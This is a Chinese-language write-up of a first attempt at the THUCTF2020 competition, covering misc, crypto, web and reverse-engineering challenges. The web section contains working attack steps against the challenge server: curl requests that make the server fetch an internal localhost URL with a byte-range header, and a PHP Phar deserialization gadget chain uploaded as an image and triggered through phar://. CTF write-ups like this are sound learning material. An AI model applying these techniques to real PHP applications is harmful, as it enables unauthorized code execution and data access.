THUCTF2020 Writeup

第一次打 CTF

Misc

签到题

按要求操作。

Snake

Level 1 直接找一个回路让它在上面绕就行了。

Level 2 和 Level 4 找不到完美的回路,可以在角上空余一格出来跑回路,然后这个角上有东西的时候改一下路线过去,比如左下角原本是 awaw,就改成 aaww。

Level 3 发现上面的方法也没法用。但是可以发现根本找不到一条连接所有格子的路径,所以题目肯定不会让你全部格子占满。这样的话回路空两格出来也行。

TooManyImages

暴力解压文件,得到名为 xxxx_yyyy.png 的图片 1920\times 1080 张,拼凑成一张图片。观察图片发现与紫荆公寓地图类似,且数字对应 126 号楼和 C 楼。直接把数字换成大写字母,加上左右括号即可。

CantHearYou

文件开头有 504b0304 是 zip 文件的开头,提取出来后内有提示密码是数字,尝试 8 位之内爆破成功得到 flag。

TopUniversity

给文件按音频排好序,提示 “Top” is not random,考虑把每个文件名第一个字符连起来。根据题面里的话可以发现题面把 a 替换成了 .,e 替换成了 ,,因此照做可以得到一个坐标 40.007939,116.318779,肉身 GPS 过去,在 27 号楼北边,附近找一找发现一个铁板子后面贴了个二维码,扫一扫然后 base64 -d 两下就好啦。(实际上找了一个多小时,谁能想到贴在板子背后嗷)

Crypto

baby-xorrrr

用 flag 前 6 位 THUCTF 倒算出 key 为 [20,60,243,3,153,227],然后解密 flag。

RSA-checkin

假设大数 -2020=x,考虑到 \varphi 数量级与 n 同级,而 d<\varphi,因此 e \approx x / n

枚举周边的 e,因为 de=k \varphi +1,再枚举 k <e, 检查 \varphi= (ex-2)/(2k+e^2) 是否为整数即可。

for e in range(192800, 192815):
 t = e * x - 2
 for k in range(e):
  q = 2 * k + e * e
  if t % q == 0:
   print(e, k)

e=192811,k=143636,解出 m 之后转 hex 再转字符串就得到 flag。

lfsr

考虑 (b_3\& b_4)\oplus(b_4\& b_5)\oplus(b_5\& b_3),固定 b_3,最终结果与其相同的概率是 75\%。但是如果是一个错误的线性递推, 01 的概率均等可以认为是 50\%。因此可以直接枚举 mask_3,计算这个线性递推的正确率,如果在 75\% 左右就行了。这样可以得到 mask_{3,4,5}

接下来可以得到 s_1s_2 的和。因为这两个都是线性递推,可以写出生成函数,假设分别是 p_1(x)/f_1(x)p_2(x)/f_2(x),那么 s_1+s_2 的生成函数就是 (p_1f_2(x)+p_2f_1(x))/f_1f_2(x)。但是 s_1+s_2 的生成函数也是 p(x)/f(x) 的形式,因此这个 f_1f_2(x) 一定是 f(x) 的约数。

f(x)1-xC(x) 的形式,C 是递推系数,因此可以 bm 得到 s_1+s_2 的递推系数 mask_0,分解以后得到 f_1(x)f_2(x) 就是 s_1s_2 的递推系数。

然后使用 Distinct-degree factorization 分解 1+2mask_0

X = 0b10
while f.bit_length() >= 2 * i:
 print(i)
 sys.stdout.flush()
 X = mod(times(X, X), f)
 g = gcd(f, X ^ 0b10)
 if g != 1:
  S.append(g)
 f = div(f, g)
 i = i + 1
if f != 1:
 S.append(f)
'''
1+2mask0 = 13 * 56795741 * 362216223 * 1855741585 * 2647364912673 * 5609228336873 * 59646018863347773546531934295 * 1740472766381682216608367206807607997
'''

然后按 bit length 分别乘出 128256 次的递推多项式,即可得到 flag。注意这里有多种组合方法,只需要分别尝试一下用题目给出的 sha256 进行验证就行了。

Web

showmeflag

查看源码,发现可以上传文件,但是文件首尾会被加入额外字符。另外可以传输一个 url 和附加 headers 和 params,后台会访问这个 url,并且检查得到的结果,如果是某个指定字符串,就返回 flag。

可以直接用 Range requests 来获取文件区间内容。

curl http://66.42.105.151:23333/uploads -s -X POST \
-H "Content-Type: text/plain" -H "X-uuid: 00000000-0000-0000-0000-00000000EA52" \
-d 'Show me flag !!!!!!!!'

curl http://66.42.105.151:23333/show_me_flag?url=http://127.0.0.1:23333/static/10b18d42e7982014c5e36ee242bedd4b/00000000-0000-0000-0000-00000000EA52 -s \
-H "Range: bytes=10-30"
ezweb

域名输入 image=show.php 可以查看到引用了 class.php,查看 class.php 可以发现若干 Class,其中 magic 这个类里有一个 __destruct,flag 这个类里有一个函数输出 flag。而且 show.php 里用到了 file_get_contents,因此考虑用 Phar 文件触发这个 __destruct 来执行。

几个 Class 之间倒腾一下。

$a = array('flag', 'getflag');
$b = new simple($a);
$c = new KK($b);
$d = new middle($c);
$e = new magic($d);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($e);
$phar->stopBuffering();

重命名为 png 传上去,然后通过 phar:// 包装器访问就得到 flag 了。

show.php?image=phar://uploads/9f572588375dcac2b14478b4a3e81087cf8223d3.png/test.txt

Reverse

MiniDecaf

纯手动 reverse……得到代码

其中可以发现 mcfx3, mcfx1 是左右移,mcfx0, mcfx2, mcfx4 对应异或、与、或。

逆向 check1 和 check2 非常简单,直接反过来就行了。

f = [218,222,221,220,217,219,223,216]
g = [246,208,219,220,231,230,153,222]
a = [0]*8
for i in range(8):
 a[f[i] ^ 222] = chr(g[i] ^ 169);
print(a)
f = [61,42,101,51,230,168,71,212]
g = [103,35,196,249,103,35,196,249]
for i in range(8):
 for x in range(255):
  if (x * 97 + g[i]) % 257 == f[i]:
   print(chr(x), end = "")

逆向 check3 可以直接爆搜 x,那么 y 能算出来,验证剩余几个就行了。

int main() {
  for (int a = INT_MIN; a < INT_MAX; a++) {
    int b = -1027819105 - a;
    if ((~a ^ b) == -1008875872 && (~a | ~b) == -1129136161 && (a & ~b) == 469897292) {
      char s[8];
      unsigned c = a, d = b;
      for (int i = 0; i < 4; i++) {
        s[8 - 2 * i - 1] = d & 255;
        s[8 - 2 * i - 2] = c & 255;
        c >>= 8; d >>= 8;
      }
    }
  }
}

逆向 check4 可以先用最后的 a_3, a_4 算出来每一步完成后的 a_1 \& 255a_2 \& 255。每一步之间单独求解就行了。

unsigned A1[4], A2[4], A[8];
int main() {
  unsigned a3 = -1985623201;
  unsigned a4 = -2035312202;
  for (int i = 3; ~i; i--) {
    A1[i] = a3 & 255; a3 >>= 8;
    A2[i] = ~(a4 & 255) & 255; a4 >>= 8;
  }
  unsigned a1 = 234, a2 = 123;
  for (int i = 0; i < 4; i++) {
    unsigned a5 = a1, a6 = a2;
    printf("[%u %u]\n", a1, a2);
    a1 = ((a1 >> 3) | (~a1 << 5)) ^ 66;
    a1 = ((~a1 >> 1) | (a1 << 7)) ^ 77;
    a1 = (a1 >> 2) | (~a6 << 5) | (a1 << 3);
    A[i] = (a1 ^ A1[i]) & 127;
    a2 = ((a2 >> 2) | (a2 << 6)) ^ 58;
    a2 = ((a2 >> 5) | (~a2 << 3)) ^ 111;
    a2 = (a2 >> 4) | (a5 << 3) | (a2 << 6);
    A[i + 4] = (a2 ^ ~A2[i]) & 127;
    a1 = a1 ^ A[i];
    a2 = ~(a2 ^ A[i + 4]);
  }
}

发表评论

电子邮件地址不会被公开。 必填项已用*标注